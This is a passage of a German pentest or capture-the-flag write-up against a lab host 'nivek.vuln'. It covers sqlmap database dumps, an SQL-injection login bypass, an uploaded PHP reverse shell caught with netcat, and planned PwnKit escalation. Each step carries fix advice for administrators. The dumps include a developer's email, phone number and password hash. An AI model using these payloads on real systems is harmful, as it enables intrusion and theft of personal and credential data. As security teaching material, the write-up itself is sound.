1. Die Datenbank `clinic_db` genauer untersuchen: Tabellen auflisten (`--tables`), Spalten auflisten (`--columns`), interessante Tabellen dumpen (z.B. Benutzer-, Admin- oder Passwort-Tabellen mit `--dump`).
2. Auch die `mysql`-Datenbank untersuchen, insbesondere die `user`-Tabelle, auf der Suche nach Datenbank-Benutzerkonten und deren Passwort-Hashes (`-D mysql -T user --dump`).
3. Prüfen, ob der Datenbankbenutzer über Dateisystemberechtigungen verfügt (`--os-shell`) oder ob Codeausführung über die Datenbank möglich ist.
**Empfehlung (Admin):**
1. **SQL-Injection-Schwachstelle sofort beheben!** Parametrisierte Abfragen (Prepared Statements) im PHP-Code für die Login-Funktion verwenden. Benutzereingaben serverseitig validieren.
2. Den Datenbankbenutzer, mit dem sich die Webanwendung verbindet, mit minimal notwendigen Rechten ausstatten (Principle of Least Privilege). Er sollte keinen Zugriff auf Systemdatenbanken wie `mysql` oder `information_schema` benötigen und keine Dateisystemberechtigungen haben.
3. Web Application Firewall (WAF) konfigurieren, um SQL-Injection-Angriffe zu erkennen und zu blockieren.
[00:44:03] [INFO] retrieved: 'user' Database: mysql [30 tables] +---------------------------+ | user | | column_stats | | columns_priv | | db | | event | | func | | general_log | | gtid_slave_pos | | help_category | | help_keyword | | help_relation | | help_topic | | host | | index_stats | | innodb_index_stats | | innodb_table_stats | | plugin | | proc | | procs_priv | | proxies_priv | | roles_mapping | | servers | | slow_log | | table_stats | | tables_priv | | time_zone | | time_zone_leap_second | | time_zone_name | | time_zone_transition | | time_zone_transition_type | +---------------------------+ [00:44:03] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/nivek.vuln'
**Analyse:** Dieser `sqlmap`-Befehl zielt auf die Systemdatenbank `mysql` (`-D mysql`) und listet deren Tabellen auf (`--tables`). Die Option `-r` lädt wieder die Anfrage, und `--batch` sorgt für nicht-interaktive Ausführung. `sqlmap` listet erfolgreich 30 Tabellen in der `mysql`-Datenbank auf. Die wichtigste Tabelle in diesem Kontext ist normalerweise die `user`-Tabelle, die Informationen über MySQL-Benutzerkonten enthält.
**Bewertung:** Der Zugriff auf die `mysql`-Datenbank und das Auflisten der Tabellen ist erfolgreich. Dies bestätigt, dass der Datenbankbenutzer der Webanwendung über weitreichende Berechtigungen verfügt, was ein Sicherheitsrisiko darstellt. Die `user`-Tabelle ist das nächste logische Ziel.
**Empfehlung (Pentester):** Die `user`-Tabelle aus der `mysql`-Datenbank dumpen, um Benutzernamen und Passwort-Hashes der Datenbankkonten zu erhalten (`sqlmap -r ... -D mysql -T user --dump`).
**Empfehlung (Admin):** Die Berechtigungen des Webanwendungs-Datenbankbenutzers überprüfen und stark einschränken. Er sollte keinen Lesezugriff auf die `mysql`-Datenbank haben.
Database: mysql Table: user [5 entries] +-----------+---------+---------+---------+----------+----------+-----------+-----------+------------+------------+------------+------------+------------+------------+-------------+-------------+-------------+-------------+-------------+-------------+-------------+-------------+--------------+--------------+--------------+--------------+--------------+--------------+---------------+---------------+----------------+-----------------+-----------------+-----------------+------------------+------------------+------------------+------------------+------------------+--------------------+--------------------+---------------------+----------------------+-----------------------+-----------------------+------------------------+ | Host | User | plugin | is_role | Password | ssl_type | Drop_priv | File_priv | Alter_priv | Event_priv | Grant_priv | Index_priv | Super_priv | ssl_cipher | Create_priv | Delete_priv | Insert_priv | Reload_priv | Select_priv | Update_priv | max_updates | x509_issuer | Execute_priv | Process_priv | Show_db_priv | Trigger_priv | default_role | x509_subject | Shutdown_priv | max_questions | Show_view_priv | References_priv | Repl_slave_priv | max_connections | Create_user_priv | Create_view_priv | Lock_tables_priv | Repl_client_priv | password_expired | Alter_routine_priv | max_statement_time | Create_routine_priv | max_user_connections | Create_tmp_table_priv | authentication_string | Create_tablespace_priv | +-----------+---------+---------+---------+----------+----------+-----------+-----------+------------+------------+------------+------------+------------+------------+-------------+-------------+-------------+-------------+-------------+-------------+-------------+-------------+--------------+--------------+--------------+--------------+--------------+--------------+---------------+---------------+----------------+-----------------+-----------------+-----------------+------------------+------------------+------------------+------------------+------------------+--------------------+--------------------+---------------------+----------------------+-----------------------+-----------------------+------------------------+ | 127.0.0.1 | root | <blank> | N | <blank> | <blank> | Y | Y | Y | Y | Y | Y | Y | <blank> | Y | Y | Y | Y | Y | Y | 0 | <blank> | Y | Y | Y | Y | <blank> | <blank> | Y | 0 | Y | Y | Y | 0 | Y | Y | Y | Y | N | Y | 0.000000 | Y | 0 | Y | <blank> | Y | | ::1 | root | <blank> | N | <blank> | <blank> | Y | Y | Y | Y | Y | Y | Y | <blank> | Y | Y | Y | Y | Y | Y | 0 | <blank> | Y | Y | Y | Y | <blank> | <blank> | Y | 0 | Y | Y | Y | 0 | Y | Y | Y | Y | N | Y | 0.000000 | Y | 0 | Y | <blank> | Y | | localhost | <blank> | <blank> | N | <blank> | <blank> | N | N | N | N | N | N | N | <blank> | N | N | N | N | N | N | 0 | <blank> | N | N | N | N | <blank> | <blank> | N | 0 | N | N | N | 0 | N | N | N | N | N | N | 0.000000 | N | 0 | N | <blank> | N | | localhost | pma | <blank> | N | <blank> | <blank> | N | N | N | N | N | N | N | <blank> | N | N | N | N | N | N | 0 | <blank> | N | N | N | N | <blank> | <blank> | N | 0 | N | N | N | 0 | N | N | N | N | N | N | 0.000000 | N | 0 | N | <blank> | N | | localhost | root | <blank> | N | <blank> | <blank> | N | N | N | N | N | N | N | <blank> | N | N | N | N | N | N | 0 | <blank> | N | N | N | N | <blank> | <blank> | N | 0 | N | N | N | 0 | N | N | N | N | N | N | 0.000000 | N | 0 | N | <blank> | N | +-----------+---------+---------+---------+----------+----------+-----------+-----------+------------+------------+------------+------------+------------+------------+-------------+-------------+-------------+-------------+-------------+-------------+-------------+-------------+--------------+--------------+--------------+--------------+--------------+--------------+---------------+---------------+----------------+-----------------+-----------------+-----------------+------------------+------------------+------------------+------------------+------------------+--------------------+--------------------+---------------------+----------------------+-----------------------+-----------------------+------------------------+ [00:44:53] [INFO] table 'mysql.`user`' dumped to CSV file '/root/.local/share/sqlmap/output/nivek.vuln/dump/mysql/user.csv' [00:44:53] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/nivek.vuln' [*] ending @ 00:44:53 /2023-06-06/
**Analyse:** Dieser Befehl dumpet (`--dump`) die Tabelle `user` (`-T user`) aus der Datenbank `mysql` (`-D mysql`). `sqlmap` extrahiert erfolgreich 5 Einträge aus der Tabelle. Die Ausgabe zeigt die Struktur der `user`-Tabelle mit vielen Spalten für Berechtigungen und Konfigurationen. Wichtig sind die Spalten `Host` und `User`. Es gibt Einträge für den `root`-Benutzer von `127.0.0.1` (localhost IPv4) und `::1` (localhost IPv6) sowie von `localhost`. Es gibt auch einen leeren Benutzernamen (`
**Bewertung:** Das Auslesen der `mysql.user`-Tabelle war technisch erfolgreich, liefert aber keine direkten Passwort-Hashes zum Knacken. Die Information, dass der `root`-Benutzer möglicherweise kein Passwort hat, ist dennoch wertvoll, auch wenn dies für den direkten Zugriff von außen meist nicht relevant ist (da der Host oft auf `localhost` beschränkt ist).
**Empfehlung (Pentester):** Da keine Hashes gefunden wurden, den Fokus wieder auf die Anwendungsdatenbank `clinic_db` legen. Dort nach Benutzer- oder Admin-Tabellen suchen.
**Empfehlung (Admin):** Sicherstellen, dass alle MySQL-Benutzer, insbesondere `root`, starke Passwörter haben. Den Zugriff für den `root`-Benutzer auf lokale Verbindungen (localhost) beschränken und idealerweise Socket-Authentifizierung verwenden. Den `pma`-Benutzer und den leeren Benutzer entfernen, falls sie nicht benötigt werden.
[00:50:06] [INFO] retrieved: '2021-07-25 22:04:53' [...] Database: mysql Table: innodb_index_stats [187 entries] +--------------+---------------------------------+------------+------------------------+---------------------+-------------+---------------+--------------------------------------------------------------+ | stat_name | index_name | stat_value | table_name | last_update | sample_size | database_name | stat_description | +--------------+---------------------------------+------------+------------------------+---------------------+-------------+---------------+--------------------------------------------------------------+ | n_diff_pfx01 | PRIMARY | 0 | admin | 2021-07-25 22:04:54 | 1 | clinic_db | domain_id | [...] | size | PRIMARY | 1 | pma__central_columns | 2015-11-25 06:44:12 | NULL | phpmyadmin | Number of pages in the index | +--------------+---------------------------------+------------+------------------------+---------------------+-------------+---------------+--------------------------------------------------------------+ [00:50:06] [INFO] table 'mysql.innodb_index_stats' dumped to CSV file '/root/.local/share/sqlmap/output/nivek.vuln/dump/mysql/innodb_index_stats.csv' [00:50:06] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/nivek.vuln' [*] ending @ 00:50:06 /2023-06-06/
[...] [00:52:21] [WARNING] table 'prescription' in database 'clinic_db' appears to be empty Database: clinic_db Table: prescription [0 entries] [...] [00:52:21] [INFO] table 'clinic_db.prescription' dumped to CSV file '/root/.local/share/sqlmap/output/nivek.vuln/dump/clinic_db/prescription.csv' [...] [00:52:21] [WARNING] table 'treatment_records' in database 'clinic_db' appears to be empty Database: clinic_db Table: treatment_records [0 entries] [...] [00:52:21] [INFO] table 'clinic_db.treatment_records' dumped to CSV file '/root/.local/share/sqlmap/output/nivek.vuln/dump/clinic_db/treatment_records.csv' [00:52:21] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/nivek.vuln' [*] ending @ 00:52:21 /2023-06-06/
**Analyse:** Dieser `sqlmap`-Befehl scheint mehrere Aktionen zu kombinieren oder ist das Ergebnis mehrerer, hier zusammengefasster Läufe. Die Optionen `--current-db` und `--current-user` fragen die aktuell verwendete Datenbank und den aktuellen Benutzer ab. `--dump` versucht, Tabellen zu dumpen, aber ohne Angabe von `-D` oder `-T` ist unklar, welche Tabelle gedumpt werden soll. Die Ausgabe zeigt Fragmente von Dumps verschiedener Tabellen (`mysql.innodb_index_stats`, `clinic_db.prescription`, `clinic_db.treatment_records`). Die Tabellen `prescription` und `treatment_records` aus `clinic_db` sind laut `sqlmap` leer (`[0 entries]`). Die Informationen zu `current-db` und `current-user` fehlen in der dargestellten Ausgabe.
**Bewertung:** Der Befehl ist in dieser Form etwas unklar. Er zeigt, dass weitere Tabellen untersucht wurden, diese aber teilweise leer sind. Das Dumpen von `innodb_index_stats` ist selten direkt nützlich für einen Angreifer. Es wäre sinnvoller gewesen, gezielt die Tabellen der `clinic_db` aufzulisten und dann relevante Tabellen (wie eine Admin- oder Benutzer-Tabelle) zu dumpen.
**Empfehlung (Pentester):** Systematischer vorgehen:
1. Tabellen der `clinic_db` auflisten: `sqlmap -r ... -D clinic_db --tables --batch`
2. Interessant erscheinende Tabellen identifizieren (z.B. `admin`, `user`, `login`).
3. Spalten der interessanten Tabellen auflisten: `sqlmap -r ... -D clinic_db -T
**Empfehlung (Admin):** Siehe vorherige `sqlmap`-Empfehlungen bezüglich Prepared Statements, Least Privilege und WAF.
+----------------------+ | user | | admin | | appointment | | billing | | billing_records | | department | | doctor | | doctor_timings | | manage_website | | medicine | | orders | | patient | | payment | | prescription | | prescription_records | | room | | service_type | | tbl_email_config | | tbl_permission | | tbl_permission_role | | tbl_role | | tbl_sms_config | | treatment | | treatment_records | +----------------------+
**Analyse:** Dieser Befehl listet nun, wie im vorherigen Schritt empfohlen, die Tabellen (`--tables`) der Datenbank `clinic_db` (`-D clinic_db`) auf. `sqlmap` findet 24 Tabellen. Besonders interessant erscheinen die Tabellen `user` und `admin`.
**Bewertung:** Erfolgreiches Auflisten der Tabellen in der Anwendungsdatenbank. Die Tabellen `user` und `admin` sind vielversprechende Kandidaten für das Auffinden von Anmeldeinformationen.
**Empfehlung (Pentester):** Als nächstes die Tabellen `user` und `admin` untersuchen und deren Inhalt dumpen.
**Empfehlung (Admin):** Siehe vorherige `sqlmap`-Empfehlungen.
[00:54:48] [INFO] resumed: 'userid' [00:54:48] [INFO] resumed: 'int(11)' [...] [00:54:48] [INFO] fetching number of entries for table 'user' in database 'clinic_db' [00:54:48] [INFO] resumed: 0 [00:54:48] [WARNING] table 'user' in database 'clinic_db' appears to be empty Database: clinic_db Table: user [0 entries] +--------+-------+----------+----------+-----------+-------------+--------------------+ | userid | email | mobileno | password | loginname | patientname | createddateandtime | +--------+-------+----------+----------+-----------+-------------+--------------------+ +--------+-------+----------+----------+-----------+-------------+--------------------+ [00:54:48] [INFO] table 'clinic_db.`user`' dumped to CSV file '/root/.local/share/sqlmap/output/nivek.vuln/dump/clinic_db/user.csv' [00:54:48] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/nivek.vuln' [*] ending @ 00:54:48 /2023-06-06/
**Analyse:** Dieser Befehl versucht, die Tabelle `user` (`-T user`) aus der Datenbank `clinic_db` (`-D clinic_db`) zu dumpen. `sqlmap` stellt fest, dass die Tabelle leer ist (`[0 entries]`).
**Bewertung:** Die Tabelle `user` enthält keine Daten. Der Fokus muss nun auf die andere vielversprechende Tabelle `admin` gelegt werden.
**Empfehlung (Pentester):** Die Tabelle `admin` dumpen: `sqlmap -r ... -D clinic_db -T admin --dump --batch`.
**Empfehlung (Admin):** Siehe vorherige `sqlmap`-Empfehlungen.
[00:55:54] [INFO] using default dictionary
do you want to use common password suffixes? (slow!) [y/N] N
[00:55:54] [INFO] starting dictionary-based cracking (sha256_generic_passwd)
[00:55:54] [INFO] starting 16 processes
[00:55:58] [WARNING] no clear password(s) found
Database: clinic_db
Table: admin
[1 entry]
+----+------------------------+---------+------------+-------------------------------+-----------------+-------------+-------+------------------------+--------+------------+------------------------------------------------------------------+----------+------------+------------+------------+---------------+
| id | loginid | role_id | dob | addr | fname | image | lname | notes | gender | mobileno | password | username | created_on | last_login | updated_on | delete_status |
+----+------------------------+---------+------------+-------------------------------+-----------------+-------------+-------+------------------------+--------+------------+------------------------------------------------------------------+----------+------------+------------+------------+---------------+
| 1 | ndbhalerao91@gmail.com | 1 | 2018-11-26 | <p>Maharashtra, India</p>\r\n | Nikhil Bhalerao | profile.jpg | admin | <p>admin panel</p>\r\n | Male | 9423979339 | aa7f019c326413d5b8bcad4314228bcd33ef557f5d81c7cc977f7728156f4357 | admin | 2018-04-30 | 0000-00-00 | 2019-10-15 | 0 |
+----+------------------------+---------+------------+-------------------------------+-----------------+-------------+-------+------------------------+--------+------------+------------------------------------------------------------------+----------+------------+------------+------------+---------------+
[00:55:58] [INFO] table 'clinic_db.admin' dumped to CSV file '/root/.local/share/sqlmap/output/nivek.vuln/dump/clinic_db/admin.csv'
[00:55:58] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/nivek.vuln'
[*] ending @ 00:55:58 /2023-06-06/
**Analyse:** Dieser Befehl dumpet die Tabelle `admin` (`-T admin`) aus `clinic_db` (`-D clinic_db`). `sqlmap` findet einen Eintrag in der Tabelle. Die relevanten Informationen sind: * `username`: `admin` * `password`: `aa7f019c326413d5b8bcad4314228bcd33ef557f5d81c7cc977f7728156f4357` * `loginid`: `ndbhalerao91@gmail.com` (E-Mail des Entwicklers aus dem LFI-Kommentar!) * `fname`: `Nikhil Bhalerao` (Name des Entwicklers) * `mobileno`: `9423979339` (Telefonnummer des Entwicklers) `sqlmap` erkennt, dass die `password`-Spalte einen Hash enthält, und versucht automatisch, diesen mit einer eingebauten Wörterbuchliste zu knacken (`starting dictionary-based cracking (sha256_generic_passwd)`). Dieser Versuch scheitert jedoch (`[WARNING] no clear password(s) found`).
**Bewertung:** **Exzellenter Fund!** Es wurden die Anmeldedaten für den `admin`-Benutzer der Webanwendung gefunden: Benutzername `admin` und der Passwort-Hash. Auch wenn der Hash nicht sofort geknackt werden konnte, ist dies ein enormer Fortschritt. Die zusätzlichen Informationen (E-Mail, Name, Telefonnummer) könnten für Social Engineering nützlich sein, sind aber für den technischen Hack hier weniger relevant.
**Empfehlung (Pentester):**
1. Den Passwort-Hash (`aa7f...`) mit spezialisierten Tools (wie `hashcat` oder `john the ripper`) und größeren Wörterbuchlisten offline knacken.
2. Versuchen, sich mit dem Benutzernamen `admin` und häufigen Standardpasswörtern oder Variationen des Benutzernamens/Entwicklernamens anzumelden.
3. Die SQL-Injection weiter nutzen, um zu prüfen, ob es möglich ist, den Hash zu umgehen (z.B. durch eine Blind-SQL-Injection, die immer `true` zurückgibt) oder einen neuen Admin-Benutzer anzulegen.
**Empfehlung (Admin):**
1. **SQL-Injection beheben (dringend!).**
2. Alle Passwörter in der Datenbank überprüfen und sicherstellen, dass starke, einzigartige Passwörter verwendet und sicher gehasht und gesalzen werden (z.B. mit bcrypt oder Argon2 anstelle von einfachem SHA256).
3. Den Zugriff auf die Admin-Tabelle für den Web-DB-Benutzer überprüfen (Least Privilege).
4. Persönliche Daten des Entwicklers sollten nicht in der Produktionsdatenbank gespeichert sein.
######################################################################### # __ __ __ ______ _____ # # /\ \/\ \ /\ \ /\__ _\ /\ _ `\ # # \ \ \_\ \ __ ____ \ \ \___ \/_/\ \/ \ \ \/\ \ # # \ \ _ \ /'__`\ / ,__\ \ \ _ `\ \ \ \ \ \ \ \ \ # # \ \ \ \ \/\ \_\ \_/\__, `\ \ \ \ \ \ \_\ \__ \ \ \_\ \ # # \ \_\ \_\ \___ \_\/\____/ \ \_\ \_\ /\_____\ \ \____/ # # \/_/\/_/\/__/\/_/\/___/ \/_/\/_/ \/_____/ \/___/ v1.2 # # By Zion3R # # www.Blackploit.com # # Root@Blackploit.com # ######################################################################### -------------------------------------------------- Possible Hashs: [+] SHA-256 [+] Haval-256 Least Possible Hashs: [+] GOST R 34.11-94 [+] RipeMD-256 [+] SNEFRU-256 [+] SHA-256(HMAC) [+] Haval-256(HMAC) [+] RipeMD-256(HMAC) [+] SNEFRU-256(HMAC) [+] SHA-256(md5($pass)) [+] SHA-256(sha1($pass)) -------------------------------------------------- HASH: aa7f019c326413d5b8bcad4314228bcd33ef557f5d81c7cc977f7728156f4357 Not Found. -------------------------------------------------- HASH:
**Analyse:** Der Befehl `hash-identifier` wird verwendet, um den Typ eines gegebenen Hashes zu identifizieren. Der zuvor gefundene Hash (`aa7f...`) wird als Eingabe übergeben. Das Tool analysiert die Länge und das Format des Hashes und schlägt mögliche Algorithmen vor. Es identifiziert `SHA-256` und `Haval-256` als die wahrscheinlichsten Kandidaten.
**Bewertung:** `hash-identifier` bestätigt die Vermutung von `sqlmap`, dass es sich wahrscheinlich um einen SHA-256-Hash handelt. Dies ist wichtig für die Auswahl des richtigen Modus beim Versuch, den Hash mit Tools wie `hashcat` oder `john` zu knacken.
**Empfehlung (Pentester):** Den Hash nun mit `hashcat` oder `john` und dem Modus für SHA-256 gegen bekannte Passwortlisten cracken.
**Empfehlung (Admin):** Wie bereits erwähnt, SHA-256 ohne Salt ist keine sichere Methode zur Passwortspeicherung. Stärkere Algorithmen mit Salt (z.B. bcrypt, Argon2) verwenden.
Anstatt den Hash zu knacken, wird hier eine andere Methode versucht: SQL-Injection im Login-Formular, um die Passwortprüfung zu umgehen. Der Typ des E-Mail-Feldes wird im Browser-Inspektor von `email` zu `text` geändert, um Nicht-E-Mail-Zeichen eingeben zu können. Dann wird eine bekannte SQL-Injection-Payload verwendet.
im anmelde Formular das email feld mit dem inspector als html bearbeiten und den Type=email raus löschen, danach mit dem anmelden: Admin ' OR 1 -- - '
**Analyse:** Diese Notiz beschreibt den manuellen Angriff. 1. **HTML-Manipulation:** Im Browser wird das HTML-Attribut `type="email"` des E-Mail-Eingabefeldes entfernt oder zu `type="text"` geändert. Dies umgeht die clientseitige Validierung, die normalerweise nur E-Mail-Adressformate zulässt. 2. **Eingabe:** * Benutzername: `Admin` * "E-Mail"-Feld (jetzt Textfeld): `' OR 1 -- -` * Passwort: (beliebig, wahrscheinlich leer gelassen oder ein zufälliges Zeichen) Die Payload `' OR 1 -- -` ist eine klassische SQL-Injection-Technik. Wenn die SQL-Abfrage etwa so aussieht: `SELECT * FROM admin WHERE username = '...' AND email = '...'`, dann wird sie durch die Eingabe zu `SELECT * FROM admin WHERE username = 'Admin' AND email = '' OR 1 -- -'`. * Das `'` schließt den String für `email`. * `OR 1` fügt eine Bedingung hinzu, die immer wahr ist (da 1 immer wahr ist). * `-- -` kommentiert den Rest der ursprünglichen SQL-Abfrage aus (inklusive der Passwortprüfung). Dadurch wird die gesamte WHERE-Bedingung wahr, und die Abfrage gibt wahrscheinlich den ersten Admin-Benutzer aus der Tabelle zurück, was vom PHP-Code als erfolgreicher Login interpretiert wird.
**Bewertung:** **Erfolgreicher Initial Access!** Diese Methode nutzt die SQL-Injection-Schwachstelle direkt aus, um die Authentifizierung zu umgehen und sich als Administrator (`Admin`) anzumelden, ohne das Passwort zu kennen. Dies ist ein sehr effektiver Weg, um Zugriff zu erlangen.
**Empfehlung (Pentester):** Nach dem erfolgreichen Login die Webanwendung als Admin erkunden. Nach Upload-Funktionen, Konfigurationseinstellungen oder anderen Möglichkeiten suchen, um eine Webshell hochzuladen oder Befehle auf dem Server auszuführen.
**Empfehlung (Admin):** **SQL-Injection beheben (höchste Priorität!)**. Clientseitige Validierung (wie `type="email"`) ist kein Sicherheitsmerkmal und kann leicht umgangen werden. Serverseitige Validierung und parametrisierte Abfragen sind unerlässlich.
Nach dem Login als Admin wird die Anwendung durchsucht. Im Quellcode der Einstellungsseite (`setting.php`) wird ein weiterer Hinweis gefunden.
view-source:http://nivek.vuln:7080/setting.php
<!-- Author Name: Nikhil Bhalerao +919423979339. PHP, Laravel and Codeignitor Developer -- Author Name: Nikhil Bhalerao +919423979339. PHP, Laravel and Codeignitor Developer -->
**Analyse:** Der Quellcode der Seite `setting.php` wird angezeigt. Er enthält erneut den HTML-Kommentar mit dem Namen, der Telefonnummer und den Spezialisierungen des Entwicklers (Nikhil Bhalerao, +919423979339, PHP/Laravel/Codeigniter).
**Bewertung:** Bestätigt die vorherigen Funde aus der LFI. Es liefert keine neuen technischen Angriffspunkte, unterstreicht aber die mangelnde Sorgfalt beim Entfernen von Debug- oder Entwicklerkommentaren aus dem Produktionscode.
**Empfehlung (Pentester):** Die Information ist zur Kenntnis genommen, aber der Fokus sollte auf der Suche nach einer Upload-Funktion oder Code-Ausführungsmöglichkeit liegen.
**Empfehlung (Admin):** Alle Kommentare, Debug-Informationen und nicht benötigten Codefragmente vor dem Deployment in die Produktion entfernen.
Auf der Einstellungsseite (`setting.php`) wird eine Funktion zum Hochladen eines Logos gefunden. Diese Funktion wird genutzt, um eine PHP-Reverse-Shell hochzuladen.
http://nivek.vuln:7080/setting.php upload rev.shell -------------------------------------------------------------- oben in der leiste mit den icons sieht man eine kachel ohne icon das ist die shell, rechte maustaste und im neuen tab öffnen --------------------------------------------------------------
**Analyse:** Diese Notiz beschreibt den Vorgang: 1. Auf der Seite `setting.php` wird eine Datei hochgeladen, bei der es sich um eine PHP-Reverse-Shell handelt (z.B. `revshell.php`). 2. Die Anwendung speichert die hochgeladene Datei offenbar an einem Ort, der über den Webserver erreichbar ist. 3. Ein Hinweis deutet darauf hin, dass die hochgeladene Datei (oder ein Link darauf) als "Kachel ohne Icon" in der Benutzeroberfläche erscheint. 4. Durch Rechtsklick und "Öffnen im neuen Tab" wird die hochgeladene PHP-Datei direkt aufgerufen.
**Bewertung:** Das Finden einer uneingeschränkten Dateiupload-Funktion als Administrator ist ein häufiger Weg zur Codeausführung. Wenn die Anwendung das Hochladen von `.php`-Dateien erlaubt und diese in einem über das Web zugänglichen Verzeichnis speichert, führt das direkte Aufrufen der Datei zur Ausführung des PHP-Codes auf dem Server.
**Empfehlung (Pentester):** Vor dem Aufrufen der Shell einen Listener (Netcat) auf der Angreifer-Maschine starten, um die eingehende Verbindung der Reverse Shell abzufangen.
**Empfehlung (Admin):** **Dateiuploads extrem sorgfältig behandeln:**
* Nur erlaubte Dateitypen (Whitelist, z.B. nur `.jpg`, `.png`) zulassen. Die Überprüfung muss serverseitig erfolgen.
* Dateinamen überprüfen und potenziell gefährliche Zeichen entfernen oder ersetzen.
* Hochgeladene Dateien in einem Verzeichnis *außerhalb* des Web-Roots speichern, auf das der Webserver keinen direkten Zugriff hat.
* Falls Dateien über das Web zugänglich sein müssen, sicherstellen, dass der Server sie nicht als ausführbaren Code interpretiert (z.B. durch entsprechende Webserver-Konfiguration oder Speicherung auf einem separaten Domain/Storage-Service).
* Den Inhalt von Bilddateien serverseitig überprüfen (Magic Bytes, Re-Encoding), um eingebetteten Code zu verhindern.
listening on [any] 9001 ...
**Analyse:** Der Befehl `nc -lvnp 9001` startet Netcat im Listen-Modus auf der Angreifer-Maschine. * `-l`: Listen mode (lauschen auf eingehende Verbindungen). * `-v`: Verbose mode (mehr Ausgaben). * `-n`: Numeric mode (keine DNS-Auflösung). * `-p 9001`: Port 9001 (der Port, auf den sich die Reverse Shell verbinden soll).
**Bewertung:** Dies ist der notwendige vorbereitende Schritt, um die Verbindung der Reverse Shell zu empfangen.
**Empfehlung (Pentester):** Sicherstellen, dass die Firewall auf der Angreifer-Maschine eingehende Verbindungen auf Port 9001 erlaubt.
**Empfehlung (Admin):** Ausgehende Verbindungen vom Webserver auf untypischen Ports (wie 9001) sollten durch eine Firewall blockiert werden (Egress Filtering), um das Funktionieren von Reverse Shells zu erschweren.
Die hochgeladene PHP-Datei wird nun im Browser aufgerufen.
http://nivek.vuln:7080/uploadImage/Logo/revshell.php
**Analyse:** Dies ist die URL, unter der die hochgeladene Reverse Shell (`revshell.php`) gespeichert wurde. Der Pfad `/uploadImage/Logo/` deutet darauf hin, dass die Upload-Funktion für Logos gedacht war, aber keine ausreichende Validierung durchführte. Das Aufrufen dieser URL im Browser führt dazu, dass der Apache-Server die PHP-Datei interpretiert und ausführt.
**Bewertung:** Der direkte Zugriff auf die hochgeladene PHP-Datei ist der Auslöser für die Codeausführung und den Verbindungsaufbau der Reverse Shell.
**Empfehlung (Pentester):** Nach dem Aufrufen der URL sofort das Netcat-Fenster überprüfen, ob eine Verbindung eingegangen ist.
**Empfehlung (Admin):** Siehe Empfehlungen zur Absicherung von Dateiuploads. Der Pfad `/uploadImage/Logo/` sollte so konfiguriert sein, dass er keine PHP-Skripte ausführt.
listening on [any] 9001 ... connect to [192.168.2.113] from (UNKNOWN) [192.168.2.124] 32852 Linux nivek 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:33:37 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux 07:11:08 up 55 min, 0 users, load average: 0.00, 0.01, 0.76 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT uid=1(daemon) gid=1(daemon) groups=1(daemon) /bin/sh: 0: can't access tty; job control turned off $ id uid=1(daemon) gid=1(daemon) groups=1(dae
**Analyse:** Das Netcat-Fenster zeigt, dass eine Verbindung von der IP-Adresse des Zielservers (`192.168.2.124`) auf Port 9001 eingegangen ist (`connect to [192.168.2.113] from ... [192.168.2.124]`). Die Reverse Shell hat sich erfolgreich verbunden. Die Shell sendet initiale Informationen über das System (Linux-Version, Uptime etc.). Der Prompt (`$`) erscheint, und der Befehl `id` wird ausgeführt (oder war Teil des Shell-Skripts). Die Ausgabe `uid=1(daemon) gid=1(daemon) groups=1(daemon)` zeigt, dass die Shell mit den Rechten des Webserver-Benutzers `daemon` läuft. Die Meldung `/bin/sh: 0: can't access tty; job control turned off` ist typisch für einfache Reverse Shells, die keine vollwertige interaktive Terminalsitzung (TTY) bereitstellen.
**Bewertung:** **Initial Access erfolgreich erlangt!** Es besteht nun eine Befehlszeilenshell auf dem Zielsystem mit den Rechten des `daemon`-Benutzers. Dies ist ein bedeutender Meilenstein im Pentest.
**Empfehlung (Pentester):**
1. **Shell stabilisieren/upgraden:** Die einfache `/bin/sh`-Shell ist oft instabil und nicht voll interaktiv. Versuchen, sie zu einer vollwertigen TTY-Shell aufzuwerten (z.B. mit Python: `python -c 'import pty; pty.spawn("/bin/bash")'`).
2. **Enumeration auf dem Zielsystem:** Informationen sammeln über das System, Benutzer, laufende Prozesse, Netzwerkkonfiguration, installierte Software, SUID/GUID-Dateien, Cronjobs etc. (`uname -a`, `whoami`, `id`, `ps aux`, `netstat -tulnp`, `find / -perm -4000 2>/dev/null`, `ls -la /etc/cron.*`).
3. Nach Möglichkeiten zur Rechteausweitung (Privilege Escalation) suchen.
**Empfehlung (Admin):**
1. **Ursache beheben:** Die Upload-Schwachstelle und die SQL-Injection schließen.
2. **Monitoring:** Netzwerkverkehr (Egress Filtering) und Prozessausführung auf dem Webserver überwachen, um solche Aktivitäten zu erkennen.
3. **Least Privilege:** Sicherstellen, dass der `daemon`-Benutzer nur die minimal notwendigen Rechte hat.
Dieser Abschnitt dient als Proof of Concept (POC) und demonstriert, wie die erlangte initiale Shell als `daemon`-Benutzer genutzt werden kann, um durch Ausnutzung einer weiteren Schwachstelle vollständige Root-Rechte auf dem System zu erlangen.
**Kurzbeschreibung:** Nach Erlangung einer Shell als `daemon`-Benutzer über eine Web-Schwachstelle wird das System auf lokale Privilege Escalation-Vektoren untersucht. Eine Schwachstelle im `pkexec`-Tool (CVE-2021-4034, "PwnKit") wird identifiziert und mittels Metasploit ausgenutzt, um eine Root-Shell zu erhalten.
**Voraussetzungen:**
**Schritt-für-Schritt-Anleitung:**
1. Überprüfung der `sudo`-Rechte des `daemon`-Benutzers.
daemon@nivek:/$ sudo -l [sudo] password for daemon: daemon@nivek:/$
**Analyse:** Der Befehl `sudo -l` wird in der erhaltenen Shell ausgeführt. Dieser Befehl listet die Befehle auf, die der aktuelle Benutzer mit `sudo` (also mit erhöhten Rechten, meist als `root`) ausführen darf. Der Server fragt nach dem Passwort für den `daemon`-Benutzer. Da dieses Passwort nicht bekannt ist, kann `sudo -l` nicht erfolgreich ausgeführt werden.
**Bewertung:** Der `daemon`-Benutzer hat keine `sudo`-Rechte konfiguriert, die ohne Passwort genutzt werden könnten. `sudo` ist somit kein direkter Weg zur Rechteausweitung.
**Empfehlung (Pentester):** Andere Methoden zur Rechteausweitung suchen (SUID/GUID-Binaries, Kernel-Exploits, Fehlkonfigurationen, Cronjobs etc.).
